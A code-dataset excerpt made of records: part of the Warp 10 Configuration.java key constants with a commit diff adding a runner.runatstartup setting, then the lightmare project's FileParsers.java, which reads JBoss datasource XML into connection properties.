* Directory from which to read the datalog files to forward
*/
public static final String DATALOG_FORWARDER_SRCDIR = "datalog.forwarder.srcdir";
/**
* Directory where successfully forwarded files will be moved
*/
public static final String DATALOG_FORWARDER_DSTDIR = "datalog.forwarder.dstdir";
/**
* Flag used to indicate that forwarded requests should be deleted instead of moved.
*/
public static final String DATALOG_FORWARDER_DELETEFORWARDED = "datalog.forwarder.deleteforwarded";
/**
* Flag used to indicate that ignored requests should be deleted instead of moved.
*/
public static final String DATALOG_FORWARDER_DELETEIGNORED = "datalog.forwarder.deleteignored";
/**
* Delay between directory scans (in ms)
*/
public static final String DATALOG_FORWARDER_PERIOD = "datalog.forwarder.period";
/**
* Set to 'true' to compress forwarded update/meta requests
*/
public static final String DATALOG_FORWARDER_COMPRESS = "datalog.forwarder.compress";
/**
* Set to 'true' to act as a regular client when forwarding actions. Otherwise the datalog request will be forwarded.
* This MUST be set to 'true' when forwarding to a distributed version of Warp 10.
*/
public static final String DATALOG_FORWARDER_ACTASCLIENT = "datalog.forwarder.actasclient";
/**
* Number of threads to spawn to handle datalog actions
*/
public static final String DATALOG_FORWARDER_NTHREADS = "datalog.forwarder.nthreads";
/**
* Endpoint to use when forwarding UPDATE actions
*/
public static final String DATALOG_FORWARDER_ENDPOINT_UPDATE = "datalog.forwarder.endpoint.update";
/**
* Endpoint to use when forwarding DELETE actions
*/
public static final String DATALOG_FORWARDER_ENDPOINT_DELETE = "datalog.forwarder.endpoint.delete";
/**
* Endpoint to use when forwarding META actions
*/
public static final String DATALOG_FORWARDER_ENDPOINT_META = "datalog.forwarder.endpoint.meta";
/**
* Set to 'true' to disable plasma
*/
public static final String WARP_PLASMA_DISABLE = "warp.plasma.disable";
/**
* Set to 'true' to disable mobius
*/
public static final String WARP_MOBIUS_DISABLE = "warp.mobius.disable";
/**
* Set to 'true' to disable stream updates
*/
public static final String WARP_STREAMUPDATE_DISABLE = "warp.streamupdate.disable";
/**
* Set to 'true' to indicate the instance will use memory only for storage. This type of instance is non persistent.
*/
public static final String IN_MEMORY = "in.memory";
/**
* Set to 'true' to use a chunked memory store.
*/
public static final String IN_MEMORY_CHUNKED = "in.memory.chunked";
/**
* Depth of timestamps to retain (in ms)
*/
public static final String IN_MEMORY_DEPTH = "in.memory.depth";
/**
* High water mark in bytes. When memory goes above this threshold, attempts to remove expired datapoints will be
* done until consumed memory goes below the low water mark (see below) or no more expired datapoints can be found.
*/
public static final String IN_MEMORY_HIGHWATERMARK = "in.memory.highwatermark";
/**
* Low water mark in bytes for garbage collection (see above)
*/
public static final String IN_MEMORY_LOWWATERMARK = "in.memory.lowwatermark";
/**
* If set to true, then only the last recorded value of a GTS is kept
*/
public static final String IN_MEMORY_EPHEMERAL = "in.memory.ephemeral";
/**
* Number of chunks per GTS to handle in memory (defaults to 3)
*/
public static final String IN_MEMORY_CHUNK_COUNT = "in.memory.chunk.count";
/**
* Length of each chunk (in time units), defaults to Long.MAX_VALUE
*/
public static final String IN_MEMORY_CHUNK_LENGTH = "in.memory.chunk.length";
/**
* Path to a dump file containing the state of an in-memory Warp 10 to restore.
*/
public static final String STANDALONE_MEMORY_STORE_LOAD = "in.memory.load";
/**
* Path to a dump file in which the current state of an in-memory Warp 10 will be persisted.
*/
public static final String STANDALONE_MEMORY_STORE_DUMP = "in.memory.dump";
/**
* Set to true to tolerate errors while loading a dumped state. Setting this to true can lead to partial data being loaded.
*/
public static final String STANDALONE_MEMORY_STORE_LOAD_FAILSAFE = "in.memory.load.failsafe";
/**
* How often (in ms) to perform a gc of the in-memory store.
*/
public static final String STANDALONE_MEMORY_GC_PERIOD = "in.memory.gcperiod";
/**
* Maximum size (in bytes) of re-allocations performed during a gc cycle of the chunked in-memory store.
*/
public static final String STANDALONE_MEMORY_GC_MAXALLOC = "in.memory.gc.maxalloc";
/**
* Set to 'true' to only forward data to Plasma. Not data storage will take place.
*/
public static final String PURE_PLASMA = "pureplasma";
//
// E G R E S S
//
/**
* Flag (true/false) indicating whether or not the Directory and Store clients should be exposed by Egress.
* If set to true then Warp 10 plugins might access the exposed clients via the getExposedDirectoryClient and
* getExposedStoreClient static methods of EgressExecHandler.
*/
public static final String EGRESS_CLIENTS_EXPOSE = "egress.clients.expose";
/**
* Comma separated list of Egress related HBase configuration keys to extract from the Warp 10 configuration.
* The listed keys will be extracted from 'egress.' prefixed configuration keys.
*/
public static final String EGRESS_HBASE_CONFIG = "egress.hbase.config";
/**
* Port onto which the egress server should listen
*/
public static final String EGRESS_PORT = "egress.port";
/**
* Host onto which the egress server should listen
*/
public static final String EGRESS_HOST = "egress.host";
/**
* Number of acceptors
*/
public static final String EGRESS_ACCEPTORS = "egress.acceptors";
/**
* Number of selectors
*/
public static final String EGRESS_SELECTORS = "egress.selectors";
/**
* Idle timeout
*/
public static final String EGRESS_IDLE_TIMEOUT = "egress.idle.timeout";
/**
* ZooKeeper server list
*/
public static final String EGRESS_ZK_QUORUM = "egress.zk.quorum";
/**
* Key to use for encrypting GTSSplit instances
*/
public static final String EGRESS_FETCHER_AES = "egress.fetcher.aes";
/**
* Maximum age of a valid GTSSplit (in ms)
*/
public static final String EGRESS_FETCHER_MAXSPLITAGE = "egress.fetcher.maxsplitage";
/**
* Custom value of 'hbase.client.ipc.pool.size' for the Egress HBase pool
*/
public static final String EGRESS_HBASE_CLIENT_IPC_POOL_SIZE = "egress.hbase.client.ipc.pool.size";
/**
* Custom scanner lease period
*/
public static final String EGRESS_HBASE_CLIENT_SCANNER_TIMEOUT_PERIOD = "egress.hbase.client.scanner.timeout.period";
/**
* Custom value of 'hbase.client.max.perserver.tasks', defaults to 2
*/
public static final String EGRESS_HBASE_CLIENT_MAX_PERSERVER_TASKS = "egress.hbase.client.max.perserver.tasks";
/**
* Custom value of 'hbase.client.max.perregion.tasks', defaults to 1
*/
public static final String EGRESS_HBASE_CLIENT_MAX_PERREGION_TASKS = "egress.hbase.client.max.perregion.tasks";
/**
* Custom value of 'hbase.client.max.total.tasks', defaults to 100
*/
public static final String EGRESS_HBASE_CLIENT_MAX_TOTAL_TASKS = "egress.hbase.client.max.total.tasks";
/**
* Custom value for RPC timeout
*/
public static final String EGRESS_HBASE_RPC_TIMEOUT = "egress.hbase.rpc.timeout";
/**
* Number of threads to use for scheduling parallel scanners. Use 0 to disable parallel scanners
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_POOLSIZE = "egress.hbase.parallelscanners.poolsize";
/**
* Maximum number of parallel scanners per fetch request. Use 0 to disable parallel scanners.
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_MAXINFLIGHTPERREQUEST = "egress.hbase.parallelscanners.maxinflightperrequest";
/**
* Minimum number of GTS to assign to a parallel scanner. If the number of GTS to fetch is below this limit, no
* parallel scanners will be spawned. Defaults to 4.
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_MIN_GTS_PERSCANNER = "egress.hbase.parallelscanners.min.gts.perscanner";
/**
* Maximum number of parallel scanners to use when fetching datapoints for a batch of GTS (see EGRESS_FETCH_BATCHSIZE).
* Defaults to 16.
*/
public static final String EGRESS_HBASE_PARALLELSCANNERS_MAX_PARALLEL_SCANNERS = "egress.hbase.parallelscanners.max.parallel.scanners";
/**
* Number of threads to use for scheduling parallel scanners in the standalone version. Use 0 to disable parallel scanners
*/
public static final String STANDALONE_PARALLELSCANNERS_POOLSIZE = "standalone.parallelscanners.poolsize";
/**
* Maximum number of parallel scanners per fetch request in the standalone version. Use 0 to disable parallel scanners.
*/
public static final String STANDALONE_PARALLELSCANNERS_MAXINFLIGHTPERREQUEST = "standalone.parallelscanners.maxinflightperrequest";
/**
* Minimum number of GTS to assign to a parallel scanner in the standalone version. If the number of GTS to fetch is below this limit, no
* parallel scanners will be spawned. Defaults to 4.
*/
public static final String STANDALONE_PARALLELSCANNERS_MIN_GTS_PERSCANNER = "standalone.parallelscanners.min.gts.perscanner";
/**
* Maximum number of parallel scanners to use when fetching datapoints for a batch of GTS (see EGRESS_FETCH_BATCHSIZE) in the standalone version.
* Defaults to 16.
*/
public static final String STANDALONE_PARALLELSCANNERS_MAX_PARALLEL_SCANNERS = "standalone.parallelscanners.max.parallel.scanners";
/**
* Geo Time Series count threshold above which block caching will be disabled for HBase scanners.
* The goal is to limit the cache pollution when scanning large chunks of data.
*/
public static final String EGRESS_HBASE_DATA_BLOCKCACHE_GTS_THRESHOLD = "egress.hbase.data.blockcache.gts.threshold";
/**
* Key to use for encrypting data in HBase (128/192/256 bits in hex or OSS reference)
*/
public static final String EGRESS_HBASE_DATA_AES = "egress.hbase.data.aes";
/**
* Columns family under which data should be stored
*/
public static final String EGRESS_HBASE_DATA_COLFAM = "egress.hbase.data.colfam";
/**
* HBase table where data should be stored
*/
public static final String EGRESS_HBASE_DATA_TABLE = "egress.hbase.data.table";
/**
* ZooKeeper Quorum for locating HBase
*/
public static final String EGRESS_HBASE_DATA_ZKCONNECT = "egress.hbase.data.zkconnect";
/**
* ZooKeeper port for HBase client
*/
public static final String EGRESS_HBASE_ZOOKEEPER_PROPERTY_CLIENTPORT = "egress.hbase.zookeeper.property.clientPort";
/**
* Parent znode under which HBase znodes will be created
*/
public static final String EGRESS_HBASE_DATA_ZNODE = "egress.hbase.data.znode";
/**
* Number of GTS to batch when retrieving datapoints (to mitigate responseTooSlow errors)
*/
public static final String EGRESS_FETCH_BATCHSIZE = "egress.fetch.batchsize";
/**
* Boolean indicating whether or not to use the HBase filter when retrieving rows.
*/
public static final String EGRESS_HBASE_FILTER = "egress.hbase.filter";
/**
* GTS count threshold above which the filter will be used.
*/
public static final String EGRESS_HBASE_FILTER_THRESHOLD = "egress.hbase.filter.threshold";
//
// T H R O T T L I N G M A N A G E R
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Name of system property (configuration property) which contains the
* root directory where throttle files are stored.
*/
public static final String THROTTLING_MANAGER_DIR = "throttling.manager.dir";
/**
* Period (in ms) between two scans of the THROTTLING_MANAGER_DIR
*/
public static final String THROTTLING_MANAGER_PERIOD = "throttling.manager.period";
/**
* Ramp up period (in ms) during which we do not push the estimators to Sensision.
* This period (in ms) should be greater than the period at which the throttling files
* are updated, so we get a chance to have a merged estimator pushed to us even when
* we just restarted.
*/
public static final String THROTTLING_MANAGER_RAMPUP = "throttling.manager.rampup";
/**
* Maximum number of estimators we keep in memory
*/
public static final String THROTTLING_MANAGER_ESTIMATOR_CACHE_SIZE = "throttling.manager.estimator.cache.size";
/**
* Default value for the rate when not configured through a file
*/
public static final String THROTTLING_MANAGER_RATE_DEFAULT = "throttling.manager.rate.default";
/**
* Default value for the mads when not configured through a file
*/
public static final String THROTTLING_MANAGER_MADS_DEFAULT = "throttling.manager.mads.default";
/**
* Default value for the maxwait timeout
*/
public static final String THROTTLING_MANAGER_MAXWAIT_DEFAULT = "throttling.manager.maxwait.default";
//
// G E O D I R
//
/////////////////////////////////////////////////////////////////////////////////////////
/**
* Prefix to use if dumping/loading the LKP indices
*/
public static final String GEODIR_DUMP_PREFIX = "geodir.dump.prefix";
public static final String GEODIR_KAFKA_SUBS_ZKCONNECT = "geodir.kafka.subs.zkconnect";
public static final String GEODIR_KAFKA_SUBS_BROKERLIST = "geodir.kafka.subs.brokerlist";
public static final String GEODIR_KAFKA_SUBS_PRODUCER_CLIENTID = "geodir.kafka.subs.producer.clientid";
public static final String GEODIR_KAFKA_SUBS_TOPIC = "geodir.kafka.subs.topic";
public static final String GEODIR_KAFKA_SUBS_GROUPID = "geodir.kafka.subs.groupid";
public static final String GEODIR_KAFKA_SUBS_CONSUMER_CLIENTID = "geodir.kafka.subs.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String GEODIR_KAFKA_SUBS_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "geodir.kafka.subs.consumer.partition.assignment.strategy";
public static final String GEODIR_KAFKA_SUBS_NTHREADS = "geodir.kafka.subs.nthreads";
public static final String GEODIR_KAFKA_SUBS_COMMITPERIOD = "geodir.kafka.subs.commitperiod";
public static final String GEODIR_KAFKA_SUBS_MAC = "geodir.kafka.subs.mac";
public static final String GEODIR_KAFKA_SUBS_AES = "geodir.kafka.subs.aes";
public static final String GEODIR_KAFKA_DATA_ZKCONNECT = "geodir.kafka.data.zkconnect";
public static final String GEODIR_KAFKA_DATA_BROKERLIST = "geodir.kafka.data.brokerlist";
public static final String GEODIR_KAFKA_DATA_PRODUCER_CLIENTID = "geodir.kafka.data.producer.clientid";
public static final String GEODIR_KAFKA_DATA_TOPIC = "geodir.kafka.data.topic";
public static final String GEODIR_KAFKA_DATA_GROUPID = "geodir.kafka.data.groupid";
public static final String GEODIR_KAFKA_DATA_CONSUMER_CLIENTID = "geodir.kafka.data.consumer.clientid";
/**
* Name of partition assignment strategy to use
*/
public static final String GEODIR_KAFKA_DATA_CONSUMER_PARTITION_ASSIGNMENT_STRATEGY = "geodir.kafka.data.consumer.partition.assignment.strategy";
public static final String GEODIR_KAFKA_DATA_NTHREADS = "geodir.kafka.data.nthreads";
public static final String GEODIR_KAFKA_DATA_COMMITPERIOD = "geodir.kafka.data.commitperiod";
public static final String GEODIR_KAFKA_DATA_MAC = "geodir.kafka.data.mac";
public static final String GEODIR_KAFKA_DATA_AES = "geodir.kafka.data.aes";
public static final String GEODIR_KAFKA_DATA_MAXSIZE = "geodir.kafka.data.maxsize";
public static final String GEODIR_ID = "geodir.id";
public static final String GEODIR_NAME = "geodir.name";
public static final String GEODIR_MODULUS = "geodir.modulus";
public static final String GEODIR_REMAINDER = "geodir.remainder";
public static final String GEODIR_HTTP_PORT = "geodir.http.port";
public static final String GEODIR_HTTP_HOST = "geodir.http.host";
public static final String GEODIR_ACCEPTORS = "geodir.acceptors";
public static final String GEODIR_SELECTORS = "geodir.selectors";
public static final String GEODIR_IDLE_TIMEOUT = "geodir.idle.timeout";
public static final String GEODIR_THRIFT_PORT = "geodir.thrift.port";
public static final String GEODIR_THRIFT_HOST = "geodir.thrift.host";
public static final String GEODIR_THRIFT_MAXTHREADS = "geodir.thrift.maxthreads";
public static final String GEODIR_THRIFT_MAXFRAMELEN = "geodir.thrift.maxframelen";
public static final String GEODIR_MAXCELLS = "geodir.maxcells";
public static final String GEODIR_RESOLUTION = "geodir.resolution";
public static final String GEODIR_CHUNK_DEPTH = "geodir.chunk.depth";
public static final String GEODIR_CHUNK_COUNT = "geodir.chunk.count";
public static final String GEODIR_PERIOD = "geodir.period";
public static final String GEODIR_DIRECTORY_PSK = "geodir.directory.psk";
public static final String GEODIR_FETCH_PSK = "geodir.fetch.psk";
public static final String GEODIR_FETCH_ENDPOINT = "geodir.fetch.endpoint";
public static final String GEODIR_ZK_SUBS_QUORUM = "geodir.zk.subs.quorum";
public static final String GEODIR_ZK_SUBS_ZNODE = "geodir.zk.subs.znode";
public static final String GEODIR_ZK_SUBS_MAXZNODESIZE = "geodir.zk.subs.maxznodesize";
public static final String GEODIR_ZK_SUBS_AES = "geodir.zk.subs.aes";
public static final String GEODIR_ZK_PLASMA_QUORUM = "geodir.zk.plasma.quorum";
public static final String GEODIR_ZK_PLASMA_ZNODE = "geodir.zk.plasma.znode";
public static final String GEODIR_ZK_PLASMA_MAXZNODESIZE = "geodir.zk.plasma.maxznodesize";
public static final String GEODIR_ZK_SERVICE_QUORUM = "geodir.zk.service.quorum";
public static final String GEODIR_ZK_SERVICE_ZNODE = "geodir.zk.service.znode";
public static final String GEODIR_ZK_DIRECTORY_QUORUM = "geodir.zk.directory.quorum";
public static final String GEODIR_ZK_DIRECTORY_ZNODE = "geodir.zk.directory.znode";
/**
* Comma separated list of GeoDirectory instances to maintain.
* Each instance is defined by a string with the following format:
*
* name/resolution/chunks/chunkdepth
*
* name is the name of the GeoDirectory
* resolution is a number between 1 and 15 defining the resolution of the geo index:
*
* 1 = 10,000 km
* 2 = 2,500 km
* 3 = 625 km
* 4 = 156 km
* 5 = 39 km
* 6 = 10 km
* 7 = 2,441 m
* 8 = 610 m
* 9 = 153 m
* 10= 38 m
* 11= 10 m
* 12= 238 cm
* 13= 60 cm
* 14= 15 cm
* 15= 4 cm
*
* chunks is the number of time chunks to maintain
* chunkdepth is the time span of each time chunk, in ms
*/
public static final String STANDALONE_GEODIRS = "standalone.geodirs";
/**
* Delay in ms between two subscription updates
*/
public static final String STANDALONE_GEODIR_DELAY = "standalone.geodir.delay";
/**
* Maximum number of 'cells' in the query area, system will attempt to reduce the number
* of cells searched by replacing small cells with their enclosing parent until the number
* of cells falls below this maximum or no more simplification can be done.
*
* A good value for performance is around 256
*/
public static final String STANDALONE_GEODIR_MAXCELLS = "standalone.geodir.maxcells";
/**
* AES encryption key for subscriptions
*/
public static final String STANDALONE_GEODIR_AES = "standalone.geodir.aes";
/**
* Directory where subscriptions should be stored
*/
public static final String STANDALONE_GEODIR_SUBS_DIR = "standalone.geodir.subs.dir";
/**
* Prefix for subscription files
*/
public static final String STANDALONE_GEODIR_SUBS_PREFIX = "standalone.geodir.subs.prefix";
/////////////////////////////////////////////////////////////////////////////////////////
//
// Jar Repository
//
public static final String JARS_DIRECTORY = "warpscript.jars.directory";
public static final String JARS_REFRESH = "warpscript.jars.refresh";
public static final String JARS_FROMCLASSPATH = "warpscript.jars.fromclasspath";
/*
* CALL root directory property
*/
public static final String WARPSCRIPT_CALL_DIRECTORY = "warpscript.call.directory";
/**
* Maximum number of subprogram instances which can be spawned
*/
public static final String WARPSCRIPT_CALL_MAXCAPACITY = "warpscript.call.maxcapacity";
/**
* Macro Repository root directory
*/
public static final String REPOSITORY_DIRECTORY = "warpscript.repository.directory";
/**
* Macro repository refresh interval (in ms)
*/
public static final String REPOSITORY_REFRESH = "warpscript.repository.refresh";
/**
* Should new macros be loaded on demand?
*/
public static final String REPOSITORY_ONDEMAND = "warpscript.repository.ondemand";
/**
* Header containing the request UUID when calling the endpoint
*/
public static final String HTTP_HEADER_WEBCALL_UUIDX = "http.header.webcall.uuid";
/**
* HTTP Header for elapsed time of WarpScript scripts
*/
public static final String HTTP_HEADER_ELAPSEDX = "http.header.elapsed";
/**
* HTTP Header for number of ops performed in a script invocation
*/
public static final String HTTP_HEADER_OPSX = "http.header.ops";
/**
* HTTP Header for number of datapoints fetched during a script invocation
*/
public static final String HTTP_HEADER_FETCHEDX = "http.header.fetched";
/**
* Script line where an error was encountered
*/
public static final String HTTP_HEADER_ERROR_LINEX = "http.header.error.line";
/**
* Message for the error that was encountered
*/
public static final String HTTP_HEADER_ERROR_MESSAGEX = "http.header.error.message";
/**
* HTTP Header for access tokens
*/
public static final String HTTP_HEADER_TOKENX = "http.header.token";
/**
* HTTP Header to provide the token for outgoing META requests
*/
public static final String HTTP_HEADER_META_TOKENX = "http.header.token.META";
/**
* HTTP Header to provide the token for outgoing DELETE requests
*/
public static final String HTTP_HEADER_DELETE_TOKENX = "http.header.token.DELETE";
/**
* HTTP Header to provide the token for outgoing UPDATE requests
*/
public static final String HTTP_HEADER_UPDATE_TOKENX = "http.header.token.UPDATE";
/**
* HTTP Header for setting the base timestamp for relative timestamps or for the 'now'
* parameter of /sfetch
*/
public static final String HTTP_HEADER_NOW_HEADERX = "http.header.now";
/**
* HTTP Header for specifying the timespan in /sfetch requests
*/
public static final String HTTP_HEADER_TIMESPAN_HEADERX = "http.header.timespan";
/**
* HTTP Header to specify if we should show errors in /sfetch responses
*/
public static final String HTTP_HEADER_SHOW_ERRORS_HEADERX = "http.header.showerrors";
/**
* Name of header containing the signature of the token used for the fetch
*/
public static String HTTP_HEADER_FETCH_SIGNATURE = "http.header.fetch.signature";
/**
* Name of header containing the signature of the token used for the update
*/
public static String HTTP_HEADER_UPDATE_SIGNATURE = "http.header.update.signature";
/**
* Name of header containing the signature of streaming directory requests
*/
public static String HTTP_HEADER_DIRECTORY_SIGNATURE = "http.header.directory.signature";
/**
* Name of header containing the name of the symbol in which to expose the request headers
*/
public static String HTTP_HEADER_EXPOSE_HEADERS = "http.header.exposeheaders";
}
| Added runner.runatstartup
| warp10/src/main/java/io/warp10/continuum/Configuration.java | Added runner.runatstartup | <ide><path>arp10/src/main/java/io/warp10/continuum/Configuration.java
<ide> // R U N N E R
<ide> //
<ide> /////////////////////////////////////////////////////////////////////////////////////////
<add>
<add> /**
<add> * Boolean indicating whether the first run of each script should be at startup (the default behavior) or
<add> * at the next round scheduling period.
<add> */
<add> public static final String RUNNER_RUNATSTARTUP = "runner.runatstartup";
<ide>
<ide> /**
<ide> * ZooKeeper connect string for the leader election among schedulers |
|
Java | lgpl-2.1 | bd3b13bbca9a7f96b98a92c00c347d4c19808cf2 | 0 | levants/lightmare | package org.lightmare.jpa.datasource;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.log4j.Logger;
import org.lightmare.deploy.BeanLoader;
import org.lightmare.jpa.datasource.Initializer.ConnectionConfig;
import org.lightmare.utils.CollectionUtils;
import org.lightmare.utils.IOUtils;
import org.lightmare.utils.NamingUtils;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
/**
* Parses xml files to initialize {@link javax.sql.DataSource}s and bind them to
* <a href="http://www.oracle.com/technetwork/java/jndi/index.html">jndi</a>
* {@link javax.naming.Context} by name
*
* @author levan
*
*/
public class FileParsers {
// Tag names for XML file parser
public static final String JBOSS_TAG_NAME = "urn:jboss:domain:datasources:1.0";
// Tag names for data source properties initialization
private static final String DATA_SURCE_TAG = "datasource";
private static final String USER_TAG = "user-name";
private static final String PASSWORD_TAG = "password";
private static final String DRIVER_TAG = "driver";
private static final String MAX_POOL_TAG = "max-pool-size";
private static final String MIN_POOL_TAG = "min-pool-size";
private static final String INITIAL_POOL_TAG = "prefill";
private static final String JNDI_NAME_TAG = "jndi-name";
private static final String CONNECTION_URL_TAG = "connection-url";
private static final String SECURITY_TAG = "security";
private static final String POOL_TAG = "pool";
private static final Logger LOG = Logger.getLogger(FileParsers.class);
public static Document document(File file) throws IOException {
return document(file.toURI().toURL());
}
public static Document document(URL url) throws IOException {
Document document;
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
try {
document = parse(stream);
} finally {
IOUtils.close(stream);
}
return document;
}
/**
* Gets item with first index from passed {@link NodeList} instance
*
* @param list
* @return {@link Node}
*/
private static Node getFirst(NodeList list) {
return list.item(CollectionUtils.FIRST_INDEX);
}
/**
* To get text from tag depended on JRE installation
*
* @param element
* @return {@link String}
*/
public static String getContext(Element element) {
NodeList textList = element.getChildNodes();
Node firstNode = getFirst(textList);
String data = firstNode.getNodeValue().trim();
return data;
}
/**
* Parses XML document to initialize {@link javax.sql.DataSource}s
* configuration properties
*
* @param stream
* @return {@link Document}
* @throws IOException
*/
public static Document parse(InputStream stream) throws IOException {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder;
Document document;
try {
builder = factory.newDocumentBuilder();
document = builder.parse(stream);
} catch (ParserConfigurationException ex) {
throw new IOException(ex);
} catch (SAXException ex) {
throw new IOException(ex);
}
return document;
}
/**
* Initializes <a
* href="http://www.oracle.com/technetwork/java/javase/jdbc/index.html"
* >jdbc</a> driver for appropriated {@link javax.sql.DataSource} for
* connection pooling
*
* @param nodeList
* @param properties
*/
public void setDataFromJBossDriver(NodeList nodeList, Properties properties) {
Element thisElement = (Element) getFirst(nodeList);
String name = getContext(thisElement);
String driverName = DriverConfig.getDriverName(name);
properties.setProperty(ConnectionConfig.DRIVER_PROPERTY.name,
driverName);
}
/**
* Gets security information from {@link javax.sql.DataSource} meta data
*
* @param nodeList
* @param properties
*/
public void setDataFromJBossSecurity(NodeList nodeList,
Properties properties) {
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
NodeList userList = thisElement.getElementsByTagName(USER_TAG);
int elementLength = userList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element userElement = (Element) getFirst(userList);
String user = getContext(userElement);
properties.setProperty(ConnectionConfig.USER_PROPERTY.name, user);
NodeList passList = thisElement.getElementsByTagName(PASSWORD_TAG);
elementLength = passList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element passElement = (Element) getFirst(passList);
String password = getContext(passElement);
properties.setProperty(ConnectionConfig.PASSWORD_PROPERTY.name,
password);
}
}
/**
* Gets security information from {@link javax.sql.DataSource} meta data
*
* @param nodeList
* @param properties
*/
public void setDataFromJBossPool(NodeList nodeList, Properties properties) {
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
NodeList minPoolSizeList = thisElement
.getElementsByTagName(MIN_POOL_TAG);
int elementLength = minPoolSizeList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element minPoolSizeElement = (Element) getFirst(minPoolSizeList);
String minPoolSize = getContext(minPoolSizeElement);
properties.setProperty(PoolConfig.Defaults.MIN_POOL_SIZE.key,
minPoolSize);
NodeList maxPoolSizeList = thisElement
.getElementsByTagName(MAX_POOL_TAG);
elementLength = maxPoolSizeList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element maxPoolSizeElement = (Element) getFirst(maxPoolSizeList);
String maxPoolSize = getContext(maxPoolSizeElement);
properties.setProperty(PoolConfig.Defaults.MAX_POOL_SIZE.key,
maxPoolSize);
NodeList initPoolSizeList = thisElement
.getElementsByTagName(INITIAL_POOL_TAG);
elementLength = initPoolSizeList.getLength();
if (elementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element initPoolSizeElement = (Element) getFirst(initPoolSizeList);
String prefill = getContext(initPoolSizeElement);
if (Boolean.valueOf(prefill)) {
properties.setProperty(
PoolConfig.Defaults.INITIAL_POOL_SIZE.key, minPoolSize);
}
}
}
/**
* Gets {@link javax.sql.DataSource}s configuration properties as
* {@link List} of {@link Properties}
*
* @param nodeList
* @return
*/
public List<Properties> getDataFromJBoss(NodeList nodeList) {
List<Properties> properties = new ArrayList<Properties>();
String jndiName;
String clearName;
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
Properties props = new Properties();
jndiName = thisElement.getAttribute(JNDI_NAME_TAG);
clearName = NamingUtils.clearDataSourceName(jndiName);
props.setProperty(ConnectionConfig.JNDI_NAME_PROPERTY.name,
jndiName);
props.setProperty(ConnectionConfig.NAME_PROPERTY.name, clearName);
NodeList urlList = thisElement
.getElementsByTagName(CONNECTION_URL_TAG);
int urlElementLength = urlList.getLength();
if (urlElementLength == CollectionUtils.EMPTY_ARRAY_LENGTH) {
continue;
}
Element urlElement = (Element) getFirst(urlList);
String url = getContext(urlElement);
props.setProperty(ConnectionConfig.URL_PROPERTY.name, url);
NodeList securityList = thisElement
.getElementsByTagName(SECURITY_TAG);
setDataFromJBossSecurity(securityList, props);
NodeList poolList = thisElement.getElementsByTagName(POOL_TAG);
setDataFromJBossPool(poolList, props);
NodeList driverList = thisElement.getElementsByTagName(DRIVER_TAG);
setDataFromJBossDriver(driverList, props);
properties.add(props);
}
return properties;
}
private static NodeList getDataSourceTags(Document document) {
NodeList nodeList = document.getElementsByTagName(DATA_SURCE_TAG);
return nodeList;
}
private static NodeList getDataSourceTags(File file) throws IOException {
Document document = document(file);
NodeList nodeList = getDataSourceTags(document);
return nodeList;
}
private static NodeList getDataSourceTags(String dataSourcePath)
throws IOException {
File file = new File(dataSourcePath);
NodeList nodeList = getDataSourceTags(file);
return nodeList;
}
/**
* Retrieves data source JNDI names from passed file
*
* @param dataSourcePath
* @return
* @throws IOException
*/
public static Collection<String> dataSourceNames(String dataSourcePath)
throws IOException {
Collection<String> jndiNames = new HashSet<String>();
NodeList nodeList = getDataSourceTags(dataSourcePath);
String jndiName;
for (int i = 0; i < nodeList.getLength(); i++) {
Element thisElement = (Element) nodeList.item(i);
jndiName = thisElement.getAttribute(JNDI_NAME_TAG);
jndiNames.add(jndiName);
}
return jndiNames;
}
/**
* Parses standalone.xml file and initializes {@link javax.sql.DataSource}s
* and binds them to JNDI context
*
* @param dataSourcePath
* @throws IOException
*/
public void parseStandaloneXml(String dataSourcePath) throws IOException {
NodeList nodeList = getDataSourceTags(dataSourcePath);
List<Properties> properties = getDataFromJBoss(nodeList);
// Blocking semaphore before all data source initialization finished
CountDownLatch blocker = new CountDownLatch(properties.size());
BeanLoader.DataSourceParameters parameters;
for (Properties props : properties) {
try {
// Initializes and fills BeanLoader.DataSourceParameters class
// to deploy data source
parameters = new BeanLoader.DataSourceParameters();
parameters.properties = props;
parameters.blocker = blocker;
BeanLoader.initializeDatasource(parameters);
} catch (IOException ex) {
LOG.error(InitMessages.INITIALIZING_ERROR, ex);
}
}
try {
blocker.await();
} catch (InterruptedException ex) {
throw new IOException(ex);
}
Initializer.setDsAsInitialized(dataSourcePath);
}
}
| src/main/java/org/lightmare/jpa/datasource/FileParsers.java | package org.lightmare.jpa.datasource;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Collection;
import java.util.HashSet;
import java.util.List;
import java.util.Properties;
import java.util.concurrent.CountDownLatch;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.log4j.Logger;
import org.lightmare.deploy.BeanLoader;
